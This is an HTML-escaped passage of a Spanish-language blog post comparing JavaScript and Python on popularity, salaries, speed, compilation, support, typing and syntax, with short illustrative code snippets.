data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Stackoverflow muestra en sus encuestas que, entre los desarrolladores, Python es mucho más popular que Javascript. Sin embargo, Typescript (el super set de Javascript con tipado fuerte que mencioné anteriormente) es ligeramente más popular que Python.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/love-vs-dreaded-python-javascript.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/love-vs-dreaded-python-javascript.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultados de la encuesta de StackOverflow para los lenguajes más apreciados por desarrolladores. Python se encuentra por arriba de Javascript&#34; width=&#34;1439&#34; height=&#34;967&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python supera a Javascript en popularidad en 2023&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;python-y-javascript-salarios&#34;&gt;Python y Javascript salarios&lt;/h2&gt;&#xA;&lt;p&gt;Según la última encuesta de Stackoverflow (2023), los profesionales que usan Python son ligeramente mejor pagados que aquellos que usan Javascript. Sin embargo la diferencia no es tan significativa. Typescript también se encuentra por encima de Javascript.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/salarios-python-vs-javascript.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/salarios-python-vs-javascript.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Salarios de los desarrolladores de acuerdo al lenguaje de programación usado.&#34; width=&#34;974&#34; height=&#34;967&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python supera a Javascript en salarios en 2023&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;antiguedad-python-es-mas-maduro&#34;&gt;Antigüedad, Python es más maduro&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Python apareció a finales de los 80, mientras que Javascript apareció a principios de los 90, por lo que &lt;strong&gt;Python es más maduro&lt;/strong&gt; que Javascript.&lt;/p&gt;&#xA;&lt;h3 id=&#34;javascript-es-un-lenguaje-mal-disenado&#34;&gt;Javascript es un lenguaje mal diseñado&lt;/h3&gt;&#xA;&lt;p&gt;Si revisas la historia de Javascript verás que este se desarrolló en tiempo record, con prisas, lo cual se nota en las bases del lenguaje, donde encontramos inconsistencias lógicas y una que otra cosa poco intuitiva. Desafortunadamente Javascript no puede repararse porque cualquier cambio en la base del lenguaje rompería la web por completo.&lt;/p&gt;&#xA;&lt;p&gt;Esto no necesariamente puede afectarte a los desarrolladores o al usuario final, pero se nota en algunas ocasiones y sirve como fuente de inspiracion para múltiples memes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cual-es-mas-rapido-javascript-o-python&#34;&gt;¿Cuál es más rápido Javascript o Python?&lt;/h2&gt;&#xA;&lt;p&gt;Al ser lenguajes interpretados son mucho más lentos que lenguajes compilados, por lo que quedarán bastante mal parados si los comparas con C, C++, Java, Rust, etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;es-python-mas-rapido-que-javascript&#34;&gt;¿Es Python más rápido que Javascript?&lt;/h3&gt;&#xA;&lt;p&gt;Sin embargo entre ellos la diferencia es evidente: se puede afirmar que &lt;strong&gt;Javascript ejecutado en Node es mucho más rápido que Python con su intérprete original.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;El gráfico de abajo compara el tiempo de ejecución promedio de diez repeticiones del problema de las N-Reinas (mientras más bajo mejor), usé los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://dev.to/seanpgallivan/solution-n-queens-5hdb#javascript-code&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;respectivos códigos de javascript y python de Sean P. Gallivan&lt;/a&gt;&#xA; (todos los créditos al autor) y el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tratt.net/laurie/src/multitime/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;programa multitime&lt;/a&gt;&#xA; para el cálculo del tiempo promedio.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/problema-de-las-n-reinas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/problema-de-las-n-reinas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Gráfico del tiempo de ejecución del problema de las N-Reinas entre Javascript y Python. Javascript tiene mejor rendimiento.&#34; width=&#34;1124&#34; height=&#34;726&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rendimiento del problema de las n-Reinas. Tiempo de ejecución en eje de las Y y número de reinas en el eje de las X. (Menor es mejor, javascript es mejor)&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Se usó Node.js v15.10.0 y Python 3.8.6. El código se ejecutó directamente desde la terminal, sin ningún otro programa ejecutándose. Si quieres saber las especificaciones de la computadora puedes escribirme a mis redes sociales y con gusto te las hago saber.&lt;/p&gt;&#xA;&lt;p&gt;Aclaro, a pesar de ser bastante obvio, que no es una metodología con el rigor científico adecuado, sin embargo es útil a manera de comparación grosso modo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;python-y-javascript-lenguajes-compilados-o-interpretados&#34;&gt;Python y Javascript ¿Lenguajes compilados o interpretados?&lt;/h2&gt;&#xA;&lt;p&gt;Para empezar diremos que &lt;strong&gt;Python es un lenguaje interpretado&lt;/strong&gt;. Si no te suena el término, significa que tiene un intérprete que traduce las instrucciones, una por una, a lenguaje máquina, para que se ejecuten al momento. Por lo que no tienes que compilar todo tu código cada vez que quieras ejecutarlo, como sí lo harías con C++, Java, Rust, etc.&lt;/p&gt;&#xA;&lt;p&gt;Javascript nació como un lenguaje interpretado, sin embargo los motores modernos han logrado que se convierta en un &lt;strong&gt;lenguaje compilado JIT&lt;/strong&gt; (&amp;ldquo;Just in Time&amp;rdquo;). Prácticamente todos los navegadores hacen &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=d7KHAVaX_Rs&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;compilado JIT&lt;/a&gt;&#xA; de Javascript, exceptuando, como siempre, IE8. En mi opinión su diseño no es más elegante que el de Python, esto se nota por ejemplo en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/porque-detesto-el-input-datetime-local-y-las-fechas-en-javascript/&#34;&gt;manejo de fechas de Javascript, que por cierto detesto.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Si quieres aprender como funciona el motor de Javascript a un nivel más profundo, te dejo un enlace a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=No-Pfboplxo&amp;amp;list=PLfeFnTZNTVDNnF4a8eVooiubYAPUSP01C&amp;amp;index=1&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;una serie de videos&lt;/a&gt;&#xA; en youtube donde se trata el tema más detalladamente.&lt;/p&gt;&#xA;&lt;p&gt;Observa este esquema súper simplificado que compara los lenguajes compilados e interpretados.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/codigo-compilado-vs-interpretado.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/codigo-compilado-vs-interpretado.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema súper simplificado de las diferencias entre código compilado e interpretado&#34; width=&#34;800&#34; height=&#34;400&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Diferencias entre un lenguaje interpretado y uno compilado.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En este esquema me refiero a Javascript al momento de su creación, como lenguaje interpretado, no a la &lt;strong&gt;compilación JIT&lt;/strong&gt; de la que te hablaba.&lt;/p&gt;&#xA;&lt;p&gt;Si bien no son los lenguajes &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;con mayor rendimiento, su flexibilidad es ideal para iterar una y otra vez en una startup o proyecto nuevo&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;soporte-javascript-y-python&#34;&gt;Soporte, Javascript y Python&lt;/h2&gt;&#xA;&lt;h3 id=&#34;soporte-para-javascript&#34;&gt;Soporte para Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Javascript se encuentra en todos los navegadores de manera nativa, basta con que abras la terminal de tu navegador preferido para que empieces a utilizarlo. Es el lenguaje preferido para manipular el DOM .&lt;/p&gt;&#xA;&lt;p&gt;Abajo puedes ver la terminal de javascript del navegador web Firefox&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaJavascript.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaJavascript.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;terminal del navegador web ejecutando javascript&#34; width=&#34;574&#34; height=&#34;362&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además puedes usar node para ejecutarlo en tu computadora.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaDeNodeJs.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaDeNodeJs.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;terminal de Nodejs en GNU/Linux ejecutando javascript&#34; width=&#34;716&#34; height=&#34;362&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Es el lenguaje por defecto en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/mi-experiencia-usando-n8n-y-mi-opinion/&#34;&gt;herramientas de automatización como n8n&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;soporte-para-python&#34;&gt;Soporte para Python&lt;/h3&gt;&#xA;&lt;p&gt;Python no se encuentra en los navegadores, sin embargo está instalado en la mayoría de los sistemas GNU/Linux de manera predeterminada, si usas una distribución de GNU/Linux y abres la terminal de tu sistema operativo y ejecutas el comando Python lo más probable es que ya se encuent` instalado.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/PythonConsola.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/PythonConsola.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;terminal de Python en GNU/Linux&#34; width=&#34;716&#34; height=&#34;362&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;comparacion-de-tipado-entre-python-y-javascript&#34;&gt;Comparación de tipado entre Python y Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Respecto al tipado, es un tema muy complejo en el que no he encontrado un &lt;strong&gt;consenso claro y uniforme&lt;/strong&gt; sobre que se considera tipado fuerte y que tipado débil. Sin embargo los expertos suelen decir que los lenguajes fuertemente tipados no permiten cambios en los tipos de datos una vez declarados, mientras que los débilmente tipados sí.&lt;/p&gt;&#xA;&lt;p&gt;Te dejo un par de ejemplos para que los consideres&lt;/p&gt;&#xA;&lt;h3 id=&#34;tipado-en-javascript&#34;&gt;Tipado en Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Primero veamos que sucede si intentamos cambiar un tipo en Javascript.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//javascript&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; numeroEnTexto &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numeroEnTexto &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// no pasa nada&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uncaught TypeError&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Assignment to constant variable.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además de const, Javascript permite declarar una variable, let o var. Si en lugar de usar const hubieramos usado var o let el error no se presentaría.&lt;/p&gt;&#xA;&lt;p&gt;Pero ahora mira lo que sucede si sumamos un entero y una cadena de texto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//javascript&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;11&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡No pasa nada! El intérprete de Javascript los suma sin problema alguno, incluso aunque uno es de tipo string y el otro un entero. Si eres de los que prefieren usar tipado fuerte con javascript, ya sea porque traes un background de C++, Java u otro lenguaje furtemente tipado o simplemente prefieres las ventajas de un tipado fuerte, dale una mirada a lo que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.typescriptlang.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Typescript&lt;/a&gt;&#xA; y su compilador tienen para ofrecer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Este es código Typescript&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Observa como cada tipo de variable requiere su correspondiente tipo de dato&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; idUser&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; number &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; string;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; months&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Array&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;string&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Enero&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Febrero&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;tipado-en-python&#34;&gt;Tipado en Python&lt;/h3&gt;&#xA;&lt;p&gt;Python no requiere, de manera forzosa, que especifiques el tipo de variable. Mira lo que sucede si intentamos cambiar el tipo de una variable en Python.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;} &lt;span style=&#34;color:#78787e&#34;&gt;# no hubo error en ningún caso&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y ¿qué pasa si ahora intentamos sumar dos variables de tipo distintas como hicimos en Javascript?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback (most recent call last):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;&lt;/span&gt;, line &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;module&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TypeError: unsupported operand &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;(s) &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;int&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;str&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como puedes apreciar, Python no permite realizar transformaciones implícitas de&#xA;un tipo de variable a otro.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;titleToNumber&lt;/span&gt;(columnTitle: &lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;tipado-opcional-en-python&#34;&gt;Tipado opcional en Python&lt;/h4&gt;&#xA;&lt;p&gt;¿Y el Typescript para Python? Pues ya va incluido, Python incorpora tipado opcional, a partir de su versión 3.5, el tipado puede ser usado por algunos linters para mostrarte errores en el código, sin embargo el intérprete no obliga a su uso. Revisa la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3/library/typing.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial&lt;/a&gt;&#xA; para aprender a usarlos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;diferencias-de-sintaxis-entre-python-y-javascript&#34;&gt;Diferencias de sintaxis entre Python y Javascript&lt;/h2&gt;&#xA;&lt;h3 id=&#34;sintaxis-de-javascript&#34;&gt;Sintaxis de Javascript&lt;/h3&gt;&#xA;&lt;p&gt;La sintaxis de &lt;strong&gt;Javascript es bastante parecida a la de C++ y otros lenguajes de programación clásicos. La separación entre partes del código se hace por medio de llaves y puntos y comas&lt;/strong&gt;. Javascript usa &lt;em&gt;this&lt;/em&gt; como referencia al propio objeto y no se requieren al declarar métodos en los objetos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// true con minúsculas&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;){&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;resultado&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;El punto y coma al final es opcional&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 